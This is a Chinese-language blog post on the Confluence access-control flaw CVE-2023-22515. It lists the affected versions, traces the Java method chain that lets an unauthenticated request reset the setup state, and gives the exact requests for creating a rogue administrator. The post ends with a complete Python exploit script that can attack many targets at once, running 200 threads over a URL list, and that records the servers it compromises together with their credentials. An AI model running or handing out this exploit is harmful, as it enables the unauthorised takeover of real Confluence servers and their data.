Confluence 数据中心和服务器中的严重漏洞 CVE-2023-22515

简介: Confluence 的开发者 Atlassian 已承认此漏洞,并将其归类为损坏的访问控制问题。他们强调需要立即采取行动,并建议用户升级到最新版本以保护他们的系统。Atlassian 将该漏洞的严重级别评定为 Critical CVSS 10。

Confluence 数据中心和服务器中的严重漏洞 CVE-2023-22515

一、简述

Confluence 的开发者 Atlassian 已承认此漏洞,并将其归类为损坏的访问控制问题。他们强调需要立即采取行动,并建议用户升级到最新版本以保护他们的系统。Atlassian 将该漏洞的严重级别评定为 Critical CVSS 10。

受影响的版本:

8.0.0 - 8.0.4

8.1.0 - 8.1.4

8.2.0 - 8.2.3

8.3.0 - 8.3.2

8.4.0 - 8.4.2

8.5.0 - 8.5.1

8.0.0之前的版本不受此漏洞影响。

二、利用

(一)第一阶段 设置“设置过程尚未完成”

CVE-2023-22515是未经身份验证的访问控制漏洞,远程实施攻击。即使攻击者可以利用 CVE-2023-22515 建立未经授权的管理员帐户,并获得对 Confluence 实例的访问权限。攻击者还可以操纵 Confluence 服务器的设置来表明设置过程尚未完成,即伪装。

攻击者可以利用/setup/setupadministrator.action端点来设置新的管理员用户。该漏洞是通过针对未经身份验证的 /server-info.action 端点的进行利用的。

初始请求将发送到 server-info,并使用bootstrapStatusProvider.applicationConfig.setupComplete=false作为参数。当我们在没有身份验证的情况下访问 server-info.action 端点时,会返回一个带有“成功”状态消息的简单响应。

GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

“成功”响应确认服务器正在运行,并且不会直接通过此端点泄露详细信息。

1.png

分析com.atlassian.confluence.core.actions包中的**ServerInfoAction代码:

package com.atlassian.confluence.core.actions;

import com.atlassian.annotations.security.XsrfProtectionExcluded;

import com.atlassian.confluence.core.ConfluenceActionSupport;

import com.atlassian.confluence.security.access.annotations.PublicAccess;

import com.atlassian.xwork.HttpMethod;

import com.atlassian.xwork.PermittedMethods;

public class ServerInfoAction extends ConfluenceActionSupport {
   
   

  @PermittedMethods({
   
   HttpMethod.ANY_METHOD})

  @XsrfProtectionExcluded

  @PublicAccess

  public String execute() throws Exception {
   
   

    return "success";

  }

}

ServerInfoAction类扩展了ConfluenceActionSupport类,该类可能处理特定功能。在这个类中,有一个名为execute()的方法。它被设计为可以使用任何 HTTP 方法调用,不受 XSRF 保护,并且无需身份验证即可供公众访问。当调用execute方法时,一旦操作成功执行,它就会返回字符串“success”。

接下来,我们将检查位于com.atlassian.confluence.core的扩展类**ConfluenceActionSupport

package com.atlassian.confluence.core;

public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
   
   

  public BootstrapStatusProvider getBootstrapStatusProvider() {
   
   

    if (this.bootstrapStatusProvider == null)

      this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();

    return this.bootstrapStatusProvider;

  }

在 Java 类ConfluenceActionSupport中,我们看到一个名为getBootstrapStatusProvider的方法返回一个对象bootstrapStatusProvider。如果bootstrapStatusProvider为 null,它将通过调用BootstrapStatusProviderImpl.getInstance()进行初始化,其中getInstance() 方法用于获取引导状态提供程序的实例。一旦对象bootstrapStatusProvider创建或已经存在,该方法就会返回它。

接下来,com.atlassian.confluence.impl.setup处的BootstrapStatusProviderImpl类包含一个名为getApplicationConfig的公共方法,该方法返回 ApplicationConfiguration 对象。

package com.atlassian.confluence.impl.setup;

public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
   
   

  private static final Supplier instance = (Supplier)Suppliers.memoize(BootstrapStatusProviderImpl::initialiseBootstrapStatusProvider);

  public ApplicationConfiguration getApplicationConfig() {
   
   

    return this.delegate.getApplicationConfig();

  }
}

在getApplicationConfig方法内部,该方法调用this.delegate.getApplicationConfig(); 使用委托,其中getApplicationConfig()委托在另一个称为委托的对象上获取应用程序配置的任务。

ApplicationConfiguration是一个接口,指定任何类都可以实现的多个方法。无论哪个类实现该接口,都将定义该方法的行为。

public interface ApplicationConfiguration {
   
   

String getApplicationHome();

void setApplicationHome(String paramString) throws ConfigurationException;

boolean isApplicationHomeValid();

void setProperty(Object paramObject1, Object paramObject2);

  void setBuildNumber(String paramString);

  boolean isSetupComplete();

  void setSetupComplete(boolean paramBoolean);  //

  void setConfigurationPersister(ConfigurationPersister paramConfigurationPersister);

  void setConfigurationFileName(String paramString);

}

有一个名为setSetupComplete的方法,需要一个布尔类型的参数。

ApplicationConfig类实现了ApplicationConfiguration接口,我们确实找到了一个名为setSetupComplete的同步方法:

package com.atlassian.config;

public class ApplicationConfig implements ApplicationConfiguration {
   
   

  public synchronized void setSetupComplete(boolean setupComplete) {
   
   
    this.setupComplete = setupComplete;
  }

}

setSetupComplete方法接受一个名为**setupComplete的布尔参数,用于设置设置完成状态。
该类的setupComplete变量被分配一个作为参数提供的值。该参数的目的是定义或更新Confluence应用程序的设置完成状态。当我们将 true 作为setupComplete参数传递时,设置过程就完成了。当我们传递false时,表明设置过程不完整。

通过统一来自ConfluenceActionSupportBootstrapStatusProviderImplApplicationConfig等类的组件,我们可以链接方法调用,包括我们迄今为止已经探索过的getBootstrapStatusProvider()getApplicationConfig()setSetupComplete() 。

  • getBootstrapStatusProvider():调用该方法获取BootstrapStatusProvider的实例。
  • getApplicationConfig():*根据getBootstrapStatusProvider()*的结果调用此方法。它检索 ApplicationConfig 对象。该对象管理应用程序配置设置,包括 setupComplete 状态。
  • setSetupComplete( )\最后,在 ApplicationConfig 对象上调用setSetupComplete() 。此方法将 setupComplete 状态设置为 true 或 false,指示应用程序的设置过程。

通过链接方法调用,我们可以使用 getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)有效地将setupComplete值设置为 false;

Confluence 使用 XWork2 框架,该框架管理操作、拦截器和参数绑定等。在XWork2中,HTTP参数用于设置action类中的属性,框架根据命名约定自动将这些参数映射到setter方法。

因此,我们可以形成一个 HTTP 参数来启用一系列方法调用。

bootstrapStatusProvider.applicationConfig.setupComplete=false

对 server-info.action 端点使用有效负载会将setupComplete值调整为false,表示设置过程仍未完成。

(二)第二阶段,访问setupadministrator端点

更新setupComplete属性后,预期行为将允许我们访问 setup/setupadministrator.action 端点并创建管理员帐户。

但是,当我们向此端点发送 POST 请求时,我们会收到 403 Forbidden 响应状态代码和包含以下消息的响应正文:“无法处理您的请求,因为请求中不存在所需的安全令牌。” 您可能需要重新提交表单或重新加载页面。”
2.png
3.png

根据 Atlassian 在Confluence应用指南中启用 XSRF 保护:

远程访问 Confluence 的脚本可能无法获取或返回安全令牌或维护与服务器的 HTTP 会话。要选择退出令牌检查,请在请求中包含以下 HTTP 标头:**X-Atlassian-Token: no-check**

关于上述指南,包括HTTP 请求标头中的X-Atlassian-Token: no-check,我们触发相同的请求:

4.png

成功了!现在,我们已经获得了对端点的不受限制的访问权限,并收到“配置系统管理员帐户 - Confluence”页面的 200 状态。剩下的就是包含 POST 请求正文以及管理员帐户的必要参数。

4.png

(三)、利用新创建管理员账户登录

在最后一步中,我们继续向 /setup/finishsetup.action 端点发出另一个 POST 请求,从而有效退出设置向导。

以管理员身份登录Coldfx

6.png

三、POC

import json
import fire
import requests
from rich import print

from alive_progress import alive_bar
from concurrent.futures import ThreadPoolExecutor

HEADERS = {
   
   
    "X-Atlassian-Token": "no-check",
    "User-Agent": "https://github.com/Chocapikk/CVE-2023-22515"
}

requests.packages.urllib3.disable_warnings()

class Confluence:
    def __init__(self, base_url, verbose=False, output_file=None):
        self.base_url = base_url
        self.verbose = verbose
        self.username = "pleasepatch"
        self.password = "Password2"
        self.output_file = output_file


    def send_request(self, method, url, auth=None, data=None):
        try:
            response = requests.request(method, url, headers=HEADERS, verify=False, timeout=3, auth=auth, data=data)
            return response.status_code, response.text
        except requests.exceptions.RequestException as e:
            if self.verbose:
                print(f"[[bold red]ERROR[/bold red]] Request error for {url}: {str(e)}")
            return None, None

    def check_authentication(self):
        """Check authentication and retrieve user details."""
        auth = (self.username, self.password)
        url = f"{self.base_url}/rest/api/user?username={self.username}"
        status, response = self.send_request("GET", url, auth=auth)

        if status == 200:
            try:
                user_info = json.loads(response.strip())
                formatted_user_info = json.dumps(user_info, indent=2)
                if self.verbose:
                    print(f"[bold green][*][bold white] Authenticated as \"{self.username}\" user\n")
                    print(f"[[bold yellow]INFO[/bold yellow]]  User Information: [white]{formatted_user_info}")
            except json.JSONDecodeError:
                return False

            return True
        else:
            if self.verbose:
                print(f"[bold red][-][/bold red] Authentication failed on REST API for {self.username}")

            return False

    def exploit(self):
        success_message = None

        if not self.trigger_vulnerability():
            error_message = f"[bold red][-][/bold red] Failed to trigger vulnerability for {self.base_url}"
        elif not self.create_admin_account():
            error_message = f"[bold red][-][/bold red] Failed to create a new administrator for {self.base_url}"
        elif self.check_authentication():
            success_message = f"[bold green][*][bold white] Successfully exploited {self.base_url} and logged in as admin!"
        else:
            error_message = f"[bold red][-][/bold red] Failed to authenticate with created admin account at {self.base_url}"

        if success_message:
            if not self.verbose:
                print(success_message)
            return success_message
        else:
            return error_message

    def trigger_vulnerability(self):
        status, _ = self.send_request("GET", f"{self.base_url}/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false")
        return status == 200

    def create_admin_account(self):
        data = {
   
   
            "username": self.username,
            "fullName": self.username,
            "email": f"{self.username}@localhost",
            "password": self.password,
            "confirm": self.password,
            "setup-next-button": "Next"
        }

        status, response = self.send_request("POST", f"{self.base_url}/setup/setupadministrator.action", data=data)

        if status == 200:
            if self.verbose:
                print(f"[[bold yellow]INFO[/bold yellow]] Username: {self.username}")
                print(f"[[bold yellow]INFO[/bold yellow]] Password: {self.password}")

            if "Setup Successful" in response:
                if self.verbose:
                    print("[bold green][*][bold white] Created new administrator successfully")
                self.save_to_output_file()

            elif "A user with this username already exists" in response:
                if self.verbose:
                    print("[bold yellow][!][bold white] Administrator with this username already exists")
                self.save_to_output_file()

            else:
                if self.verbose:
                    print(f"[bold red][-][/bold red] Failed to create a new administrator for {self.base_url}")

        return status == 200

    def save_to_output_file(self):
        if self.output_file:
            with open(self.output_file, 'a') as file:
                file.write(f"Vulnerable server: {self.base_url} | Username: {self.username} | Password: {self.password}\n")

class Exploit:
    """
    Exploit script for CVE-2023-22515 - Confluence Vulnerability.

    This script attempts to exploit the CVE-2023-22515 vulnerability in Confluence
    to gain unauthorized access.
    """
    def __init__(self):
        self.verbose = False  

    def normal(self, target, output_file=None):
        """
        Exploits the Confluence vulnerability using a single target URL.

        Args:
            target (str): The target URL to exploit.
            output_file (str, optional): File to save vulnerable servers.
        """
        self.verbose = True
        exploit_target(target, verbose=self.verbose, output_file=output_file)

    def mass(self, filename, output_file=None):
        """
        Exploits the Confluence vulnerability using a list of target URLs from a file.

        Args:
            filename (str): The name of the file containing a list of target URLs.
            output_file (str, optional): File to save vulnerable servers.
        """
        with open(filename, 'r') as file:
            targets = [line.strip() for line in file.readlines() if line.strip()]
        scan_targets(targets, verbose=self.verbose, output_file=output_file)

def scan_targets(targets, verbose=False, output_file=None):
    with alive_bar(len(targets), enrich_print=False) as bar:
        with ThreadPoolExecutor(max_workers=200) as executor:
            list(executor.map(lambda url: exploit_target(url, bar, verbose, output_file), targets))

def exploit_target(url, bar=None, verbose=False, output_file=None):
    Confluence(url, verbose=verbose, output_file=output_file).exploit()
    if bar:
        bar()

if __name__ == "__main__":
    fire.Fire(Exploit)
相关文章
|
7月前
|
SQL 监控 安全
服务器安全性漏洞和常见攻击方式解析
服务器安全性漏洞和常见攻击方式解析
|
安全 Linux 数据安全/隐私保护
百度搜索:蓝易云【OpenVAS 检查 Linux 服务器漏洞教程!】
通过上述步骤,你可以在Linux服务器上使用OpenVAS进行漏洞检测。请注意,漏洞检测和扫描是一个复杂的过程,需要持续的更新和管理。建议参考OpenVAS的官方文档和用户指南,以了解更多关于配置和使用OpenVAS的详细信息。
140 0
百度搜索:蓝易云【OpenVAS 检查 Linux 服务器漏洞教程!】
|
25天前
|
安全 数据中心
数据中心服务器机架是什么
数据中心服务器机架是用于容纳服务器、存储器等IT设备的结构,旨在提升数据中心的管理与运营效率。常见的类型包括开放式机架、封闭式机柜和壁挂式机架,每种类型各有特点,适用于不同的场景需求。选择时需考虑尺寸、承重、冷却效率及安全性等因素,以确保最佳的使用效果。
50 4
|
1月前
|
安全 算法 Linux
Linux 服务器还有漏洞?建议使用 OpenVAS 日常检查!
在数字化时代,Linux 服务器的安全至关重要。OpenVAS 是一款优秀的开源漏洞扫描工具,可以帮助及时发现并修复服务器中的安全隐患。本文将介绍 OpenVAS 的主要功能、使用方法及应对漏洞的措施,帮助用户加强服务器安全管理,确保企业数字化安全。
51 7
|
5月前
|
弹性计算 安全 Linux
云服务器 ECS产品使用问题之如何处理Linux软件漏洞
云服务器ECS(Elastic Compute Service)是各大云服务商阿里云提供的一种基础云计算服务,它允许用户租用云端计算资源来部署和运行各种应用程序。以下是一个关于如何使用ECS产品的综合指南。
|
7月前
|
安全 算法 Linux
【专栏】Linux 服务器还有漏洞?OpenVAS 是一款开源的漏洞扫描工具,用于全面评估 Linux 服务器安全
【4月更文挑战第28天】OpenVAS 是一款开源的漏洞扫描工具,用于全面评估 Linux 服务器安全。它具有全面性、准确性和实时性的特点,能扫描各种设备并及时发现安全漏洞。使用 OpenVAS 包括安装、配置和执行扫描,以及分析结果并采取修复措施。在使用过程中应注意扫描时间、范围和策略的选择。通过定期检查和修复漏洞,结合其他安全措施,可以提升服务器安全性。OpenVAS 是保障 Linux 服务器安全的重要工具,但安全维护也需要持续学习和适应新挑战。
206 1
|
监控 安全 网络安全
服务器被专门针对零日漏洞的.locked勒索病毒攻击,数据能否恢复?
        近日,国内多家公司服务器感染了后缀.locked勒索病毒,公司的服务器文件全部被加密,急需数据恢复,否则公司运作无法进行,部分企业经联系数据恢复工程师远程查看,并沟通协商了相应的解决方案,通过双方远程协同配合,最终在当天顺利完整恢复数据。
425 0
服务器被专门针对零日漏洞的.locked勒索病毒攻击,数据能否恢复?
|
安全 网络安全 Apache
服务器漏洞修复之SSL/TLS协议信息泄露漏洞(CVE-2016-2183)
服务器漏洞修复之SSL/TLS协议信息泄露漏洞(CVE-2016-2183)
6594 0
|
存储 安全 算法
locked勒索病毒利用零日漏洞,企业服务器数据瞬间遭受致命加密
近日,网络安全界再次爆发了一起令人震惊的事件,一种名为"Locked"的勒索病毒利用软件中的零日漏洞,迅速传播并瞬间加密了大量企业服务器。这一事件引发了广泛的关注和恐慌,暴露出网络安全的脆弱性和企业在面对新兴威胁时的不足之处。91数据恢复在本文将对这一事件进行深入分析,探讨相关的影响和可能的防范措施。
locked勒索病毒利用零日漏洞,企业服务器数据瞬间遭受致命加密
|
2天前
|
SQL 弹性计算 安全
阿里云上云优选与飞天加速计划活动区别及购买云服务器后续必做功课参考
对于很多用户来说,购买云服务器通常都是通过阿里云当下的各种活动来购买,这就有必要了解这些活动的区别,同时由于活动内的云服务器购买之后还需要单独购买并挂载数据盘,还需要设置远程密码以及安全组等操作之后才能正常使用云服务器。本文就为大家介绍一下目前比较热门的上云优选与飞天加速计划两个活动的区别,以及通过活动来购买云服务器之后的一些必做功课,确保云服务器可以正常使用,以供参考。